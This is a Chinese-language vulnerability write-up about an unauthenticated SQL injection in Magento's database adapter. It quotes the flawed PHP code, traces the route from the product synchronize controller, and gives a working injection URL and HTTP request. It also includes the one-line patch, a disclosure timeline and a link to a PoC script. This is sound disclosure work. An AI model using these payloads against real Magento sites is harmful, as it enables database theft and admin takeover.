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Magento

在几个月前发现了<u>PrestaShop</u>的漏洞后,我下一个选择的目标是另一个电子商务平台:<u>Magento</u>。Magento是全球使用最广泛的电子商务平台之一,使用该平台的商家去统工因如此,<u>Magento非常重视其产品安全</u>,为了确保漏洞能够被修复,magento官方给予白帽子非常丰厚的奖励。目前,Magento<u>已被Adobe收购</u>,其赏金项目也归属到。尽管如此,我仍在Mangento上发现了两个危急的漏洞。其中的一个为未经身份验证的SQL注入漏洞。

代码审计

Magento的代码库非常庞大,其中有超过200万行的PHP代码。因此,手工审计代码是一件繁琐的事。但是,我们可以从Netanel Rubin发现的两个优秀的RCE漏洞中获得一些启发,因为他们针对两个点:

- 访问控制/路径选择
- API

在这两处被审查后,这两个向量似乎已经不存在任何漏洞点了。因此,我选择查看一些尚未爆出漏洞的地方:负责ORM和DB管理的代码。

SQL 注入

审计

处理DB的主要类为Magento\Framework\DB\Adapter\Pdo\Mysql。在审计几分钟后,我发现prepareSqlCondition函数的方法中有一个有趣的漏洞。

```
<?php
** Build SQL statement for condition
** If $condition integer or string - exact value will be filtered ('eq' condition)
** If $condition is array is - one of the following structures is expected:
** - array("from" => $fromValue, "to" => $toValue)
** - array("eq" => $equalValue)
** - array("neq" => $notEqualValue)
** - array("like" => $likeValue)
** - array("in" => array($inValues))
** - array("nin" => array($notInValues))
** - array("notnull" => $valueIsNotNull)
** - array("null" => $valueIsNull)
** - array("gt" => $greaterValue)
** - array("lt" => $lessValue)
** - array("gteq" => $greaterOrEqualValue)
** - array("lteq" => $lessOrEqualValue)
** - array("finset" => $valueInSet)
** - array("regexp" => $regularExpression)
** - array("seq" => $stringValue)
** - array("sneq" => $stringValue)
** If non matched - sequential array is expected and OR conditions
** will be built using above mentioned structure
** ...
public function prepareSqlCondition($fieldName, $condition)
   $conditionKeyMap = [
                                                                            [1]
                      => "{{fieldName}} = ?",
      'eq'
                      => "{{fieldName}} != ?",
       'neq'
                      => "{{fieldName}} LIKE ?",
       'like'
                      => "{{fieldName}} NOT LIKE ?",
       'nlike'
                      => "{{fieldName}} IN(?)",
       'in'
```

```
=> "{{fieldName}} NOT IN(?)",
       'nin'
                      => "{{fieldName}} IS ?",
       'is'
                      => "{{fieldName}} IS NOT NULL",
       'notnull'
                      => "{{fieldName}} IS NULL",
       'null'
                      => "{{fieldName}} > ?",
       'gt'
                      => "{{fieldName}} < ?",
       '1t'
                      => "{{fieldName}} >= ?",
       'gteq'
                      => "{{fieldName}} <= ?",
       'lteq'
                      => "FIND_IN_SET(?, {{fieldName}})",
       'finset'
                      => "{{fieldName}} REGEXP ?",
       'regexp'
                      => "{{fieldName}} >= ?",
       'from'
                      => "{{fieldName}} <= ?",
       'seq'
                      => null,
       'sneq'
                      => null,
                      => "INET_NTOA({{fieldName}}) LIKE ?",
       'ntoa'
   ];
   $query = '';
   if (is_array($condition)) {
       $key = key(array_intersect_key($condition, $conditionKeyMap));
        \  \  \text{if (isset(\$condition['from']) || isset(\$condition['to'])) } \  \, \big\{ \\
                                                                           [2]
           if (isset($condition['from'])) {
                                                                           [3]
               $from = $this->_prepareSqlDateCondition($condition, 'from');
               $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
           }
                                                                           [4]
           if (isset($condition['to'])) {
               $query .= empty($query) ? '' : ' AND ';
                      = $this->_prepareSqlDateCondition($condition, 'to');
               $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
           }
       } elseif (array_key_exists($key, $conditionKeyMap)) {
           $value = $condition[$key];
           if (($key == 'seq') || ($key == 'sneq')) {
               $key = $this->_transformStringSqlCondition($key, $value);
           if (($key == 'in' || $key == 'nin') && is_string($value)) {
               $value = explode(',', $value);
           $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
       } else {
           $queries = [];
           foreach ($condition as $orCondition) {
               $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
           $query = sprintf('(%s)', implode(' OR ', $queries));
      }
   } else {
       $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
   return $query;
protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
   $sql = $this->quoteInto($text, $value);
   $sql = str_replace('{{fieldName}}', $fieldName, $sql);
总体概括,这个函数利用一个SQL字段名,一个代表某个运算符的数组(=,!=,>等)和一个值构建了SQL条件。该函数使用$conditionKeyMap[1]将条件的别名映射为固定
<?php
 $db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";
```

```
然而,为了确保字段在一定的范围内,程序通常会使用from和to条件。这里与[2]结合起来时会出现问题。例如:
<?php
$db->prepareSqlCondition('price', [
  'from' => '100'
   'to' => '1000'
1);
$query = "price >= '100' AND price <= '1000'";</pre>
当两个条件(from和to)都存在时,from[3]处的代码先运行,然后在运行to[4]。但是这样将导致[5]处发生一个严重的错误:from生成的查询将被格式化重新利用。
由于所有的?都被给定的值替换了,因此如果from值里存在问号,那么它将被替换为to的引用值。接下来我将介绍此处如何打破SQL查询导致SQL注入:
<?php
$db->prepareSqlCondition('price', [
  'from' => 'some?value'
   'to' => 'BROKEN'
]);
# FROM
 $query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price')
-> $query = "price >= 'some?value'"
 $query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price')</pre>
-> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price')
-> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"
BROKEN首先出现在引号外,为了有效地实施SQL注入,我们得做一些这样的事:
<?php
$db->prepareSqlCondition('price', [
  'from' => 'x?'
   'to' => ' OR 1=1 -- -'
]);
-> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"
这是一场代码游戏。关键漏洞代码:
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
如要修补,则应该改为:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
这是一个细小的错误,但威力无穷!如果我们能够控制prepareSqlCondition的第二个参数,就可以造成SQL注入。令人惊讶的是,上述漏洞代码自从Magento
1.x就已经存在了。
Source
前面我已经说过了,Magento有非常多行的代码,要寻找它的漏洞是一件累活。在运行完自动化审计工具后,我开始逐个检查每个控制器直至找到合适的源。我非常幸运,
<?php
public function execute()
  $resultJson = $this->jsonFactory->create();
  try {
      $productsData = $this->getRequest()->getParam('ids', []);
      $typeId = $this->getRequest()->getParam('type_id', null);
      $this->synchronizer->syncActions($productsData, $typeId);
  } catch (\Exception $e) {
      $resultJson->setStatusHeader(
          \Zend\Http\Response::STATUS_CODE_400,
          \Zend\Http\AbstractMessage::VERSION_11,
          'Bad Request'
      );
  }
  return $resultJson->setData([]);
```

这是最后导致bug的调用栈: <?php \$productsData = \$this->getRequest()->getParam('ids', []); \$this->synchronizer->syncActions(\$productsData, \$typeId); \$collection->addFieldToFilter('product_id', \$this->getProductIdsByActions(\$productsData)); \$this->_translateCondition(\$field, \$condition); \$this->_getConditionSql(\$this->getConnection()->quoteIdentifier(\$field), \$condition); \$this->getConnection()->prepareSqlCondition(\$fieldName, \$condition); 这是一个前台SQL盲注URL示例: https://magento2website.com/catalog/product_frontend_action/synchronize? type id=recently products& ids[0][added at]=& ids[0][product_id][from]=?& ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -GET /magento/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]= &ids[0][product_id][from]=?&ids[0][product_id][to]=)))OR(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE +1=0)--+- HTTP/\bar{1}.1 Date: Wed, 07 Nov 2018 14:23:02 GMT Server: Apache/2.4.25 (Debian) Set-Cookie: PHPSESSID=Omifrnlq7q68ga2ge6nremkgh4; domain=magento2test.fr; HttpOnly Expires: Tue, 07 Nov 2017 14:23:02 GMT Host: magento2test.fr 现在可以读取数据库的所有内容,我们能够提取出管理员会话或者哈希密钥,然后登入网站后台。 补丁 非常简单的一个修复程序: 文件: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php 2907行 - \$query = \$this->_prepareQuotedSqlCondition(\$query . \$conditionKeyMap['to'], \$to, \$fieldName); + \$query = \$query . \$this->_prepareQuotedSqlCondition(\$conditionKeyMap['to'], \$to, \$fieldName); Mangento发布了2.3.1版本,并且为2.2.x, 2.1.x和 1.1推出了补丁程序。请更新你的服务! 时间线 • 2018年11月9日:在Bugcrowd上报告该漏洞 • 2018年11月26日:漏洞分级为 P1 2019年3月19日:我们请求更新动态(已经过去了4个月了!) • 2019年3月19日: Magento奖励我们赏金,并告知正在进行修补。 2019年3月26日: Magento发布了新版本,修补了漏洞。 POC Magento SQL注入: https://github.com/ambionics/magento-exploits/blob/master/magento-sqli.py 点击收藏 | 1 关注 | 1 上一篇:从零开始java代码审计系列(二) 下一篇:TCTF/0CTF sixology详解 1. 0 条回复

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